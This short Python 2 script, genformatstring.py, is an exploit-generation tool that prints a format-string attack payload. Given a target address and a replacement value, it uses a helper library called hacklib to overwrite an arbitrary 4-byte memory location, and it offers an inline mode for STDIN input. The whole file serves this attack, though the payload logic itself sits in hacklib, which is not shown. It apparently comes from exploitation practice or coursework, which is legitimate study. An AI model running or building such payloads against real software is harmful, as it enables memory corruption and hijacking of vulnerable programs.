#!/usr/bin/python
#
# Syntax:
#   genformatstring.py [--inline] <4byte-overwrite-address> <withaddress>
#          --inline allows input from STDIN to preceed the format string

import sys
import hacklib

inline = False



if (len(sys.argv) < 2):
  print >>sys.stderr, "Syntax:\n 	./genformatstring.py [--inline] <4byte-overwritten-address> <withaddress>\n"
  print >>sys.stderr, " 		--inline allows input from STDIN to preceed the format string\n\n"
  sys.exit(1);


if (sys.argv[1] == "--inline"):
  sys.argv.pop(1)
  inline = True
  

overwriteaddress = int(sys.argv[1],16)
withaddress = int(sys.argv[2],16)
if (len(sys.argv) > 3): 
  offset = sys.argv[3]
else: 
  offset = 0

print >>sys.stderr, "%08x : %08x" % (overwriteaddress, withaddress)

sys.stdout.write( hacklib.genformatstring(overwriteaddress,withaddress,offset,None,inline))
